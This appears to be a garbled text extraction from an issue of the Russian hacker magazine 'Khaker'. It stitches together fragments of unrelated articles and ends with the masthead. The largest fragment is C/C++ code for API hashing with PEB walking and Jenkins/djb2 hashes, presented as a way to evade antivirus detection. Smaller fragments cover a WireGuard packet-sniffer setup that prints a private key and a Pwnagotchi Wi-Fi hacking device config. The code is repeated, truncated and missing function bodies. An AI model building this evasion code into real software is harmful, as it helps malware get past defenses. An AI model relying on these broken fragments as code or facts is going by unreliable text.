UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);
return Hash;
}
return Hash;
}
int main() {
printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL", HASHA(
"USER32.DLL"));
printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "MessageBoxA", HASHA(
"MessageBoxA"));
return 0;
}
HashStringJenkinsOneAtATime32BitA((PCHAR) API)
// До компиляции
printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL", HASHA(
"USER32.DLL"));
// После компиляции
printf("[i] Hash Of "%s" Is : 0x%0.8X \n", "USER32.DLL",
HashStringJenkinsOneAtATime32BitA((PCHAR)"USER32.DLL"));
Сгенерированные хеши
if (dwApiNameHash == HASHA(pFunctionName)) {
return (FARPROC)pFunctionAddress;
}
}
return NULL;
}
if (dwApiNameHash == HASHA(pFunctionName)) {
return (FARPROC)pFunctionAddress;
if (dwModuleNameHash == NULL)
return NULL;
#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif
while (pDte) {
CHAR UpperCaseDllName[MAX_PATH];
DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
i++;
}
UpperCaseDllName[i] = '\0';
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)pDte->Reserved2[0];
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}
Наконец можно считать, что все готово. Нам достаточно сгенерировать хеш
от имени DLL, а также от имени функции, которую хотим вызвать, после чего
сохранить значения в исходном коде, скомпилировать и насладиться резуль-
татом.
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#define INITIAL_SEED 7
#define USER32DLL_HASH 0x81E3778E
#define MessageBoxA_HASH 0xF10E27CA
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))
return Hash;
}
return Hash;
}
if (dwApiNameHash == HASHA(pFunctionName)) {
return (FARPROC)pFunctionAddress;
}
}
return NULL;
}
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {
if (dwModuleNameHash == NULL)
return NULL;
#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif
while (pDte) {
CHAR UpperCaseDllName[MAX_PATH];
DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
i++;
}
UpperCaseDllName[i] = '\0';
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)pDte->Reserved2[0];
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}
int main() {
if (LoadLibraryA("USER32.DLL") == NULL) {
printf("[!] LoadLibraryA Failed With Error : %d \n",
GetLastError());
return 0;
}
Результат работы
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
РЕАЛИЗУЕМ ТЕХНИКУ
API HASHING, ЧТОБЫ ОБДУРИТЬ АНТИВИРУС
#define SEED 5
// Unicode
constexpr DWORD HashStringDjb2W(const wchar_t* String) {
ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}
return Hash;
}
// ASCII
constexpr DWORD HashStringDjb2A(const char* String) {
ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}
return Hash;
}
#include <Windows.h>
#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A =
HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W =
HashStringDjb2W((const wchar_t*) L#API);
#define SEED 5
// Unicode
constexpr DWORD HashStringDjb2W(const wchar_t* String) {
ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}
return Hash;
}
// ASCII
constexpr DWORD HashStringDjb2A(const char* String) {
ULONG Hash = (ULONG)g_KEY;
INT c = 0;
while ((c = *String++)) {
Hash = ((Hash << SEED) + Hash) + c;
}
return Hash;
}
int main() {
CTIME_HASHA(MessageBoxA); // Фактически на этом месте появляется
constexpr auto MessageBoxA_Rotr32A = HashStringDjb2A(MessageBoxA);
return 0;
}
А позже в функции обнаружения DLL по хешу генерируем хеш так же, без пос-
ледних четырех символов (то есть без .dll). На их место добавляем знак
завершения строки.
UpperCaseDllName[i - 4] = '\0';
if (RTIME_HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)pDte->Reserved2[0];
Наконец у нас все готово, чтобы провернуть API Hashing в режиме Compile-
Time!
ÏÐÈÌÅÐ
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <string>
#define SEED 5
typedef UINT(CALLBACK* fnMessageBoxA)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
return Hash;
}
if (dwModuleNameHash == NULL)
return NULL;
#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif
while (pDte) {
CHAR UpperCaseDllName[MAX_PATH];
DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName
.Buffer[i]);
i++;
}
UpperCaseDllName[i - 4] = '\0';
if (RTIME_HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)pDte->Reserved2[0];
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}
if (dwApiNameHash == RTIME_HASHA(pFunctionName)) {
return (FARPROC)pFunctionAddress;
}
}
return NULL;
}
int main() {
CTIME_DLLHASHA(USER32); // Фактически на этом месте появляется
constexpr auto USER32_FuncA = HashStringDjb2A(USER32);
CTIME_HASHA(MessageBoxA); // Фактически на этом месте появляется
constexpr auto MessageBoxA_Rotr32A = HashStringDjb2A(MessageBoxA);
if (LoadLibraryA("USER32.DLL") == NULL) {
printf("[!] LoadLibraryA Failed With Error : %d \n",
GetLastError());
return 0;
}
return 0;
}
Работающий вариант
ÂÛÂÎÄÛ
ÀÐÕÈÒÅÊÒÓÐÀ
ÇÅÐÊÀËÎ
ÝÊÑÏÅÐÈÌÅÍÒÀËÜÍÀß ÑÅÒÜ
WIREGUARD
public-key="HEbUC3ae1r03OIT8gPtVL3xmIPPHNYCKFVDXBvPQeyk="
[admin@BORDER] /interface/wireguard>
0 thelaw iQo3n/mi+w6gUrQim9D0FHNpXMxEL0cscMVSE6w3dCU= 0
10.0.0.2/32 25s
Wireguard-клиент:
[Interface]
PrivateKey = eN3iDA1gOL2cygLwNRkDasFOoUzTFjpdLCmK4YMEhUA=
Address = 10.0.0.2/24
[Peer]
PublicKey = HEbUC3ae1r03OIT8gPtVL3xmIPPHNYCKFVDXBvPQeyk=
Endpoint = 212.100.144.100:51820
AllowedIPs = 10.0.0.1/32
PersistentKeepalive = 25
PACKET SNIFFER
Кстати говоря, Packet Sniffer требует ручного запуска, поэтому в конце коман-
да start.
ÎÁÐÀÁÎÒÊÀ TZSP
caster@thepossessor:~/research/tzsp2pcap$ ./tzsp2pcap -h
Usage ./tzsp2pcap [-h] [-v] [-f] [-p PORT] [-o FILENAME] [-s SIZE] [-G
SECONDS] [-C SIZE] [-z CMD]
-h Display this message
-v Verbose (repeat to increase up to -vv)
-f Flush output after every packet
-p PORT Specify port to listen on (defaults to 37008)
-o FILENAME Write output to FILENAME (defaults to stdout)
-s SIZE Receive buffer size (defaults to 65535)
-G SECONDS Rotate file every n seconds
-C FILESIZE Rotate file when FILESIZE is reached
-z CMD Post-rotate command to execute
caster@thepossessor:~/dumps$ ls -l
total 12
-rw------- 1 caster caster 880 Sep 19 13:04 dump_1695117866.pcap
-rw------- 1 caster caster 2970 Sep 19 13:04 dump_1695117876.pcap
-rw------- 1 caster caster 366 Sep 19 13:04 dump_1695117886.pcap
ÂÛÂÎÄÛ
СОБИРАЕМ
ХАКЕРСКИЙ ДЕВАЙС
С ИСКУССТВЕННЫМ
ИНТЕЛЛЕКТОМ
ÓÑÒÐÎÉÑÒÂÎ PWNAGOTCHI
Raspberry Pi Zero WН
Дисплейный модуль
ÑÁÎÐÊÀ È ÍÀÑÒÐÎÉÊÀ
config.toml
main.name = "PwnagotchiName"
main.lang = "en"
main.whitelist = [
"MyWi-Fi_1",
"MyWi-Fi_2"
]
main.plugins.grid.enabled = true
main.plugins.grid.report = true
main.plugins.grid.exclude = [
"MyWi-Fi_1",
"MyWi-Fi_2"
]
ui.display.enabled = true
ui.display.type = "waveshare_3"
ui.display.color = "black"
ÓÐÀ, ÐÀÁÎÒÀÅÒ!
Pwnagotchi в действии
ÊÀÊ ÇÀÙÈÒÈÒÜÑß
MEGANEWS
Мария Нефёдова
nefedova@glc.ru
АРТ
yambuto
yambuto@gmail.com
КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стем-
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев
РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru
Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022